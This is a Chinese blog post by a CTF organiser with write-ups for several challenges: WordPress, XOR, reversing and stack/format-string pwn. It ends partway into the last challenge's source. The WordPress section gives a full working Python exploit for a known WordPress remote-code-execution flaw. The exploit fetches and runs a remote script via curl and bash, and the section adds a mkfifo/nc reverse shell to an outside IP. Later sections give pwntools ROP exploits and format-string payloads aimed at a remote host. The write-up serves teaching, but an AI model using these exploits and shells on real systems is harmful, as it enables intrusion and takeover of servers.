BetaMao

CTF进阶-部分Writeup

字数统计: 5.5k阅读时长: 29 min
2017/12/11 Share

这次的题出的有点多,又没有把握好难度,所以大家都集中精力做杂项了,感觉这种策略在本次比赛中是正确的,但是其他比赛一般web、re、pwn才是主流,在考虑下次是不是不放杂项了,另外出的题没有自己做过,发现有道题有问题,还好没人做pwn,不然就是罪人了(不知道该哭还是该笑),下次一定要先自己做下,至少要检查下~

好呗,自己粗题自己做,想到了上次学长的痛,然鹅他们为什么不告诉我们这个坑呢,好气哦!这次自己弄了9道题,下面是wp:

Wordpress

题目描述

给你一个开源博客站点,怎么搞?

题解


网站这么好看一定不是自己写的,查看底部发现powered by wordpress百度发现是开源博客系统,那么要么出题人改了代码要么出题人拿出0day要么就是早已发布的漏洞了,第三种可能性最大,然而主页似乎看不到版本信息呢,可以使用wpscan扫描,发现有很多漏洞

特别注意存在RCE

并且可以发现用户wxiaojun,于是网上搜到脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3
import requests
import sys

# wordpress's url
target = 'http://10.21.13.151'# if not sys.argv[1] else sys.argv[1]
# Put your command in a website, and use the website's url
# don't contains "http://", must be all lowercase
shell_url = '10.21.13.225/0.txt'# if not sys.argv[2] else sys.argv[2]
# an exists user
user = 'Wxiaojun'

def generate_command(command):
command = '${run{%s}}' % command
command = command.replace('/', '${substr{0}{1}{$spool_directory}}')
command = command.replace(' ', '${substr{10}{1}{$tod_log}}')
return 'target(any -froot@localhost -be %s null)' % command


data = {
'user_login': user,
'redirect_to': '',
'wp-submit': 'Get New Password'
}
headers = {
'Host': generate_command('/usr/bin/curl -o/tmp/rce ' + shell_url),
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}
proxies = {
'http': 'http://127.0.0.1:8080'
}
target += '/wp-login.php?action=lostpassword'
requests.post(target, headers=headers, data=data, allow_redirects=False)
headers['Host'] = generate_command('/bin/bash /tmp/rce')
requests.post(target, headers=headers, data=data, allow_redirects=False)

随便找台电脑,搭建web服务,写入反弹shell

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.21.107.42 1234 >/tmp/f

再监听

1
nc -vlp 1234

疑惑

题目描述

爱学习的童鞋都会做呢~

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

wenzhang = """
Computer security[edit]
See also: Wargame (hacking)

A team competing in the CTF competition at DEF CON 17
In computer security, Capture the Flag (CTF) is a computer security competition. CTF contests are usually designed to serve as an educational exercise to give participants experience in securing a machine, as well as conducting and reacting to the sort of attacks found in the real world. Reverse-engineering, network sniffing, protocol analysis, system administration, programming, and cryptanalysis are all skills which have been required by prior CTF contests at DEF CON. There are two main styles of capture the flag competitions: attack/defense and jeopardy.
In an attack/defense style competition, each team is given a machine (or a small network) to defend on an isolated network. Teams are scored on both their success in defending their assigned machine and on their success in attacking the other team's machines. Depending on the nature of the particular CTF game, teams may either be attempting to take an opponent's flag from their machine or teams may be attempting to plant their own flag on their opponent's machine. Two of the more prominent attack/defense CTF's are held every year at DEF CON, the largest hacker conference, and the NYU-CSAW (Cyber Security Awareness Week), the largest student cyber-security contest.[5][6] [7][8]
Jeopardy-style competitions usually involve multiple categories of problems, each of which contains a variety of questions of different point values and difficulties. Teams attempt to earn the most points in the competition's time frame (for example 24 hours), but do not directly attack each other. Rather than a race, this style of game play encourages taking time to approach challenges and prioritizes quantity of correct submissions over the timing.
flag is zjgsctf{hong_teacher_Zui_zUi_zuI_C00l}
end end end end
"""

key="Wu1ala"

with open("xor","wb") as f:
wzlen = len(wenzhang)
keylen = len(key)
for i in range(wzlen):
f.write(chr(ord(wenzhang[i])^ord(key[i%keylen])))

题解


那次在群里发了视频,并且说道可能会在这里面拿一道题来考,然而大家都没看呢,按视频里的,安装xortool,然后按照它的说明xortool xor -c 20解出flag

AntiF5

题目描述

不要F5啦,好好读汇编吧!

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include<stdio.h>
#include<string.h>
#include<ctype.h>
#include<stdlib.h>
char banner[] = ""
"#############################################################\n"
" _ _ _ ___ ____ _ \n"
" / \\ _ __ | |_(_) |_ _| _ \\ / \\ \n"
" / _ \\ | '_ \\| __| | | || | | |/ _ \\ \n"
" / ___ \\ | | | | |_| | | || |_| / ___ \\ \n"
" /_/ \\_\\_ | |_|\\__|_| |___|____/_/ \\_\n"
" \n"
"#############################################################\n";
char buf[1024*4]={0,};
char *f1ag = "mpulezy{Uq_lo_utU2Zixqf0_&_Yl1}";

//zjgsctf{Da_si_geD4Zhuan9_&_Es3}

void encode(){
unsigned int i = 0;
unsigned int len = strlen(buf);
char atable[] = "qwertyuiopasdfghjklzxcvbnm";
char Atable[] = "POIUYTREWQLKJHGFDSAMNBVCXZ";
char Dtable[] = "9631287450";
__asm{
push eax
xor eax,eax
jz betamao
add esp,8
betamao:
pop eax
}
for(;i<len;i++){
if(islower(buf[i]))
buf[i] = atable[buf[i]-'a'];
else if(isupper(buf[i]))
buf[i] = Atable[buf[i]-'A'];
else if(isdigit(buf[i]))
buf[i] = Dtable[buf[i]-'0'];
}
}

int main(){
puts(banner);
puts("######################################");
puts("现在你可以输入flag,我会告诉你对不对:");
gets(buf);
//判断长度
if(strlen(buf)>4000)
exit(-1);
//变换输入
encode();
if(strcmp(f1ag,buf)==0)
puts("厉害厉害,佩服佩服!");
else
puts("stupid!");
return 0;
}

题解

此题参考漫谈几种反编译对抗技术 ,想考考大家逆向的能力,但是又不想太坑,所以就只用了最简单的方法对抗反编译,细心的小伙伴或许都百度出来解决方法啦,另外由于是想到朴实的小伙伴可能会真的读代码,就用了很简单的单表替换,只对字母数字替换,而且缓冲区可以很长,于是可以使用词频分析方法直接解密flag,另外是逐位加密的可以爆破(最多60几次),当然也可以直接逆算法啦

AntiRe

题目描述

哇,AntiF5竟然被肝出来啦,不死心的王小君又使用毕生所学设计出了一种无人能解的加密算法,又使用天下无敌的vmprotect保护算法,这次要有人能逆出算法我小君的姓倒着写!

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include <windows.h>
#include<time.h>

char banner[] = ""
""
" oooooooooo. . ooooooooo. \n"
" `888' `Y8b .o8 `888 `Y88. \n"
" 888 888 .ooooo. ooo. .oo. .o888oo 888 .d88' .ooooo. \n"
" 888 888 d88' `88b `888P\"Y88b 888 888ooo88P' d88' `88b \n"
" 888 888 888 888 888 888 888 888`88b. 888ooo888 \n"
" 888 d88' 888 888 888 888 888 . 888 `88b. 888 .o \n"
" o888bood8P' `Y8bod8P' o888o o888o \"888\" o888o o888o `Y8bod8P' \n"
" \n"
" \n"
" \n"
" oooooo oooo ooo ooooo ooooooooo. . . \n"
" `888. .8' `88. .888' `888 `Y88. .o8 .o8 \n"
" `888. .8' 888b d'888 888 .d88' oooo d8b .ooooo. .o888oo .ooooo. .ooooo. .o888oo \n"
" `888. .8' 8 Y88. .P 888 888ooo88P' `888""8P d88' `88b 888 d88' `88b d88' `\"Y8 888 \n"
" `888.8' 8 `888' 888 888 888 888 888 888 888ooo888 888 888 \n"
" `888' 8 Y 888 888 888 888 888 888 . 888 .o 888 .o8 888 . \n"
" `8' o8o o888o o888o d888b `Y8bod8P' \"888\" `Y8bod8P' `Y8bod8P' \"888\" \n";
//char flag[] = "zJGsu{sh@o_1a0shl_ez_G0Id_Fath3r}";
char EncryptedFalg[] = { 110,125,19,81,182,184,60,94,15,60,115,233,68,239,214,191,142,97,182,241,2,85,164,58,59,130,246,158,83,164,88,119,85,137,105,177,7,8,182,167,75,157,63,130 };
#define x inputStr[i*3+0]
#define y inputStr[i*3+1]
#define z inputStr[i*3+2]
void deCrypt();
void Encrypt(char* inputStr, char* outputStr);
unsigned long Crc32_ComputeBuf(const char *buf);
int main() {
puts(banner);
char *encrypedStr = malloc(44);
if (!encrypedStr)
exit(-1);
char inputStr[100];
puts("正在解密重要代码,请稍等..........");
deCrypt();
puts("重要代码解密完成,请输入flag验证:");
scanf("%99s", inputStr);
Encrypt(inputStr, encrypedStr);
if (memcmp(EncryptedFalg, encrypedStr, 44) == 0) {
puts("验证通过!");
}
else {
puts("验证失败!");
}
flushall();
free(encrypedStr);
return 0;
}

static unsigned long crcTable[256] = { 0 };

void Encrypt(char* inputStr, char* outputStr) {
int len = strlen(inputStr);
__asm //标记开始处.
{
_emit 0xEB
_emit 0x10
_emit 0x56
_emit 0x4D
_emit 0x50
_emit 0x72
_emit 0x6F
_emit 0x74
_emit 0x65
_emit 0x63
_emit 0x74
_emit 0x20
_emit 0x62
_emit 0x65
_emit 0x67
_emit 0x69
_emit 0x6E
_emit 0x00
}
if (len != 33) {
memcpy(outputStr, "5ZGK6K+J5L2g5ZOm77yM6L+Z5LiN5pivZmxhZ+WTiH4=", 44);
}
else {
unsigned long r[5] = { 0, };
for (int i = 0; i < len / 3; i++) {
r[0] = (x * 107 + y) % (z << 7);
r[1] = (x * 107 + y) / (z << 7);
r[2] = x;
r[3] = y;
r[4] = z;
((unsigned long*)outputStr)[i] = Crc32_ComputeBuf((char*)r);
}
}
__asm //标记结束处.
{
_emit 0xEB
_emit 0x0E
_emit 0x56
_emit 0x4D
_emit 0x50
_emit 0x72
_emit 0x6F
_emit 0x74
_emit 0x65
_emit 0x63
_emit 0x74
_emit 0x20
_emit 0x65
_emit 0x6E
_emit 0x64
_emit 0x00
}
}

void deCrypt() {
__asm //标记开始处.
{
_emit 0xEB
_emit 0x10
_emit 0x56
_emit 0x4D
_emit 0x50
_emit 0x72
_emit 0x6F
_emit 0x74
_emit 0x65
_emit 0x63
_emit 0x74
_emit 0x20
_emit 0x62
_emit 0x65
_emit 0x67
_emit 0x69
_emit 0x6E
_emit 0x00
}
unsigned long tmp[256] = {
0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535,
0x9E6495A3, 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD,
0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D,
0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC,
0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4,
0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C,
0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC,
0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F,
0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB,
0xB6662D3D, 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F,
0x9FBFE4A5, 0xE8B8D433, 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB,
0x086D3D2D, 0x91646C97, 0xE6635C01, 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E,
0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA,
0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, 0x4DB26158, 0x3AB551CE,
0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A,
0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9,
0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409,
0xCE61E49F, 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81,
0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739,
0x9DD277AF, 0x04DB2615, 0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8,
0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0xF00F9344, 0x8708A3D2, 0x1E01F268,
0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0,
0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8,
0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF,
0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703,
0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7,
0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A,
0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE,
0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,
0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, 0x88085AE6,
0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45,
0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D,
0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5,
0x47B2CF7F, 0x30B5FFE9, 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605,
0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94,
0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D
};
memcpy(crcTable, tmp, 256 * sizeof(unsigned long));
srand((unsigned)time(NULL));
Sleep(rand() % 20 * 1000);
__asm //标记结束处.
{
_emit 0xEB
_emit 0x0E
_emit 0x56
_emit 0x4D
_emit 0x50
_emit 0x72
_emit 0x6F
_emit 0x74
_emit 0x65
_emit 0x63
_emit 0x74
_emit 0x20
_emit 0x65
_emit 0x6E
_emit 0x64
_emit 0x00
}
}

static unsigned long Crc32_ComputeBuf(const char *buf) {
__asm //标记开始处.
{
_emit 0xEB
_emit 0x10
_emit 0x56
_emit 0x4D
_emit 0x50
_emit 0x72
_emit 0x6F
_emit 0x74
_emit 0x65
_emit 0x63
_emit 0x74
_emit 0x20
_emit 0x62
_emit 0x65
_emit 0x67
_emit 0x69
_emit 0x6E
_emit 0x00
}
static unsigned long initVec = 0xFFFFFFFF;
unsigned long crc32 = initVec;
for (int i = 0; i < 20; i++) {
crc32 = (crc32 >> 8) ^ crcTable[(crc32 ^ buf[i]) & 0xFF];
}
initVec ^= crc32;
__asm //标记结束处.
{
_emit 0xEB
_emit 0x0E
_emit 0x56
_emit 0x4D
_emit 0x50
_emit 0x72
_emit 0x6F
_emit 0x74
_emit 0x65
_emit 0x63
_emit 0x74
_emit 0x20
_emit 0x65
_emit 0x6E
_emit 0x64
_emit 0x00
}
return crc32 ^ 0xFFFFFFFF;
}

题解

就是这样,这道题也是逐位加密,逐三位,如题,这道题考点不在于逆算法,所以用了乱编的单向算法,而且加了虚拟机保护,需要爆破,需要code与patch的能力(本来还有些坑点后来全部没了):

1
2
3
4
5
6
7
8
9
10
11
12
13
........................................................
puts("重要代码解密完成,请输入flag验证:"); //这里nop掉,可以写一点代码
scanf("%99s", inputStr); //start:
Encrypt(inputStr, encrypedStr);
if (memcmp(EncryptedFalg, encrypedStr, 44) == 0) { //
puts("验证通过!"); //输出encrypedStr
}
else {
puts("验证失败!");
}
flushall();
free(encrypedStr); // goto start;
........................................................
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include<stdio.h>
#include<Windows.h>
#include<string.h>
char Encrypted[] = { 0x78 ,0xc3 ,0x44 ,0xac ,0x3f ,0x94 ,0x3b ,0x73 ,0x6b ,0x5d ,0xdd ,
0x90 ,0xe9 ,0xeb ,0x50 ,0xa1 ,0xa2 ,0xef ,0x98 ,0xaf ,0xf4 ,0x41 ,0xb1 ,0x35 ,0x35 ,0xc3 ,0xcc ,0xce };
BOOL WriteToPipe(HANDLE hStdInWrite, char* in_buffer, int dwSize);
BOOL ReadFromPipe(HANDLE hStdOutRead, char* buf);
int main() {
TCHAR szCmdline[] = TEXT("h:\\ped.exe");
HANDLE hStdInRead, hStdOutWrite, hStdErrWrite; //子进程管道
HANDLE hStdInWrite, hStdOutRead; //父进程管道
STARTUPINFO siStartInfo;
PROCESS_INFORMATION piProcInfo;
SECURITY_ATTRIBUTES saAttr;

saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;

if (!CreatePipe(&hStdInRead, &hStdInWrite, &saAttr, 0) ||
!CreatePipe(&hStdOutRead, &hStdOutWrite, &saAttr, 0) ||
!DuplicateHandle(GetCurrentProcess(), hStdOutWrite, GetCurrentProcess(), &hStdErrWrite, 0, TRUE, DUPLICATE_SAME_ACCESS))
return -1;

ZeroMemory(&siStartInfo, sizeof(STARTUPINFO));
siStartInfo.cb = sizeof(STARTUPINFO);
siStartInfo.dwFlags |= STARTF_USESHOWWINDOW;
siStartInfo.dwFlags |= STARTF_USESTDHANDLES;
siStartInfo.hStdOutput = hStdOutWrite;
siStartInfo.hStdError = hStdErrWrite;
siStartInfo.hStdInput = hStdInRead;


if (!CreateProcess(NULL,szCmdline,NULL,NULL,TRUE,0,NULL,NULL,&siStartInfo,&piProcInfo))
return -1;
char buf[1000] = {0,};
unsigned char min = 33;
unsigned char max = 127;
unsigned char a, b, c, d;
char flag[] = "1234567890012345678912345613\r\n";
time_t start, end;
DWORD dwRead;
time(&start);
for (a = 99; a < max; a++) {
for (b = min; b < max; b++) {
for (c = min; c < max; c++)
for (d = min; d < max; d++) {
flag[0] = a;
flag[1] = b;
flag[2] = c;
flag[3] = d;
WriteFile(hStdInWrite, flag, 30, NULL, NULL);
ReadFile(hStdOutRead, buf, 30, &dwRead, NULL);
if (buf[0] == Encrypted[0] && buf[1] == Encrypted[1] && buf[2] == Encrypted[2] && buf[3] == Encrypted[3]) {
putchar(a);
putchar(b);
putchar(c);
putchar(d);
}
}
}
time(&end);
int diff = (end - start);
printf("已用时间:%d 已完成:%.5f \n", diff, (a - 32) / 94.0);
}


}

下面是pwn,这里痛.jpg

pwn-1

题目描述

本题考验函数调用约定,栈分布情况与快速学习能力,但本身是一道hin简单的题啦~

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include<signal.h>

void handler(int signum){
puts("Timeout");
_exit(1);
}
void init(){
setvbuf(stdout,0,_IONBF,0);
setvbuf(stdin,0,_IONBF,0);
setvbuf(stderr,0,_IONBF,0);
signal(SIGALRM,handler);
alarm(60);
}

int main(){
int fd;
char buf[32];
init();
if((fd = open("/tmp/flag",O_RDONLY))==-1){
puts("打开文件失败,若一段时间后重试仍然失败请联系管理员!");
exit(-1);
}
char* content = malloc(sizeof(char)*100);
read(fd,content,100);
read(0,buf,32);
printf(buf);
return 0;
}

编译方法

1
gcc -m32 1.c

题解

看着好像保护开的差不多了,然而这并没多大意义,其实提过几次,不知道有木有人记得,在上次的期中赛赛的题解中也有写,就是最简单的格式化串啦:

1
2
3
%x%x%x%x%x%x%x%x%x%x%x%x%x %s
#或者
%14$s

pwn-2

题目描述

啦啦啦,没有描述,讲过啦~

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include<stdio.h>
#include<string.h>
#include<signal.h>

void handler(int signum){
puts("Timeout");
_exit(1);
}
void init(){
setvbuf(stdout,0,_IONBF,0);
setvbuf(stdin,0,_IONBF,0);
setvbuf(stderr,0,_IONBF,0);
signal(SIGALRM,handler);
alarm(60);
}
void input(){
char buf[100];
read(0,buf,200);
}
int main(){
init();
char banner[]="Welcome to ZJGSCTF!emmmmmm~~~~~wo xian zai zheng zai hui qu de lu shang,hen wu liao ,xie xia zhe ti~\n";
write(1,banner,strlen(banner));
input();
return 0;
}

编译方法

1
gcc -fno-stack-protector -no-pie -m32 -o pwn2 2.c

解题方法

这道题当然是循环利用read泄露出system函数地址啦,然鹅有更简单做法,第一种就是那天晚上屁屁踢上介绍的,稍微改下exp就可以用了,这里写下第二种做法-return to dl_resolve(算了。。):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python
# coding=utf-8
### 降低难度给了libc.so文件了
from pwn import *

debug = False

binary = 'rop1'
ip='121.42.189.18'
port=7002
offset=112

elf = ELF(binary)

writeGot = elf.got['write']
readGot = elf.got['read']
writePlt = elf.plt['write']
inputAddr = elf.symbols['input']

if debug:
p = process(binary)
else:
p = remote(ip,port)

def leak(address):
payload = 'a'*offset+flat(writePlt,inputAddr,1,writeGot,4)
p.sendline(payload)
data = p.recv(4)
log.info("address:%x====>data:%s"%(address,(data or '').encode('hex')))
return data

p.recvuntil('xie xia zhe ti~\n')
#dyn.lookup(None,'libc')
#dyn = DynELF(leak,elf=elf)
payload = 'a'*offset+flat(writePlt,inputAddr,1,writeGot,4)
p.sendline(payload)
writeAddr = u32(p.recv(4))
libc = ELF('libc.so')
systemAddr = writeAddr - (libc.symbols['write']-libc.symbols['system'])
binAddr = writeAddr - (libc.symbols['write']-next(libc.search('/bin/sh')))
payload = 'a'*offset+flat(systemAddr,inputAddr,binAddr)
p.sendline(payload)
p.interactive()

原来的解法是这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python
# coding=utf-8
from pwn import *

debug = True

binary = 'rop1'
ip='121.42.189.18'
port=7002
offset=112

elf = ELF(binary)

readGot = elf.got['read']
writePlt = elf.plt['write']
inputAddr = elf.symbols['input']
main = elf.symbols['main']
readPlt = elf.plt['read']
pppr = 0x080487b9
bssAddr = elf.bss()

if debug:
p = process(binary)
else:
p = remote(ip,port)
p.recvuntil('xie xia zhe ti~\n')

def leak(address):
payload = 'a'*offset+flat(writePlt,inputAddr,1,address,4)
p.sendline(payload)
data = p.recv(4)
log.debug("address:%x====>data:%s"%(address,(data or '').encode('hex')))
return data

dyn = DynELF(leak,main,elf=elf)
execveAddr = dyn.lookup('execve','libc')

log.info('execve ===> '+hex(execveAddr))
log.info('bss ===> '+hex(bssAddr))

payload = 'a'*offset+p32(readPlt)+p32(pppr)+p32(0)+p32(bssAddr)+p32(8)
payload += p32(execveAddr)+p32(1)+p32(bssAddr)+p32(0)+p32(0)
p.sendline(payload)

if debug:
#gdb.attach(p)
pass

p.sendline('/bin/sh\0')
#raw_input('#')
p.interactive()

pwn-3

题目描述

本题484很像上次的babypwn4?然而这次添加了一个姿势点,就是字节序~

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#include<stdio.h>
#include<stdlib.h>
#include<signal.h>

void handler(int signum){
puts("Timeout");
_exit(1);
}
void init(){
setvbuf(stdout,0,_IONBF,0);
setvbuf(stdin,0,_IONBF,0);
setvbuf(stderr,0,_IONBF,0);
signal(SIGALRM,handler);
alarm(60);
}

void calc(unsigned int n);
int main() {
char buf[8];
init();
system("echo '说出来你可能不信,这是我写的计算器呢!'");
system("echo '请先输入一个正整数n,表示要计算的数据组数:'");
read(0,buf,6);
calc(atoi(buf));
puts("白~~");
return 0;
}
void PrintMenu() {
puts("choose an action:");
puts("1 Add");
puts("2 Sub");
puts("3 Mul");
puts("4 Div");
puts("5 Save the result");
}

unsigned int Add()
{
int x, y, result;

printf("input the integer x:");
scanf("%u", &x);
printf("input the integer y:");
scanf("%u", &y);
result = x+y;
printf("the result is %d\n", result);
return result;
}
unsigned int Sub()
{
int x, y, result;

printf("input the integer x:");
scanf("%u", &x);
printf("input the integer y:");
scanf("%u", &y);
result = x - y;
printf("the result is %d\n", result);
return result;
}
unsigned int Mul()
{
int x, y, result;

printf("input the integer x:");
scanf("%u", &x);
printf("input the integer y:");
scanf("%u", &y);
result = x * y;
printf("the result is %d\n", result);
return result;
}
unsigned int Div()
{
int x, y, result;

printf("input the integer x:");
scanf("%u", &x);
printf("input the integer y:");
scanf("%u", &y);
result = x / y;
printf("the result is %d\n", result);
return result;
}
void calc(unsigned int n) {
if (n>100)
return;
unsigned int buf[50];
unsigned int* tmpResult = (unsigned int*)malloc(sizeof(unsigned int)*n);
int opt;
for (int i = 0; i<n; i++) {
PrintMenu();
scanf("%d", &opt);
switch (opt) {
case 1:
tmpResult[i] = Add();
break;
case 2:
tmpResult[i] = Sub();
break;
case 3:
tmpResult[i] = Mul();
break;
case 4:
tmpResult[i] = Div();
break;
case 5:
memcpy(&buf, tmpResult, 4 * n);
free(tmpResult);
return ;
default:
puts("错误的输入");
}
}
}

编译方式

1
gcc -fno-stack-protector -no-pie -m32 -o rop2 3.c

题解

emmmmm,还是期中的第四题,怕ctrlcv就改了下输入形式,考下字节序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python
# coding=utf-8
from pwn import *

binary,ip,port = './rop2','121.42.189.18',7003

elf = ELF(binary)
systemPlt = elf.plt['system']
readPlt = elf.plt['read']
bss = elf.bss()
payload = (readPlt,systemPlt,0,bss,8)

offsetNum = (0xd8+0x4)/4
totalNum = len(payload)+offsetNum+1

debug = False

if debug:
p = process(binary)
else:
p = remote(ip,port)

p.sendlineafter('\xe6\x95\xb0\xef\xbc\x9a\n',str(totalNum))
p.recvuntil('5 Save the result\n')
print 'offsetNum====> %d'%offsetNum

def senddata(data):
p.sendline('1')
p.sendlineafter('input the integer x:',data)
p.sendlineafter('input the integer y:','0')

# 填充
for i in range(offsetNum):
senddata('0') #数据随意,但是在src地址处要为0,这样free不会崩溃。

# 发送payload
for s in payload:
senddata(str(s))

#gdb.attach(p)
#raw_input('#')

# 触发漏洞
p.sendline('5')
# 发送sh
p.sendline('/bin/sh')
p.interactive()

pwn-4

题目描述

小君加密机~~

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
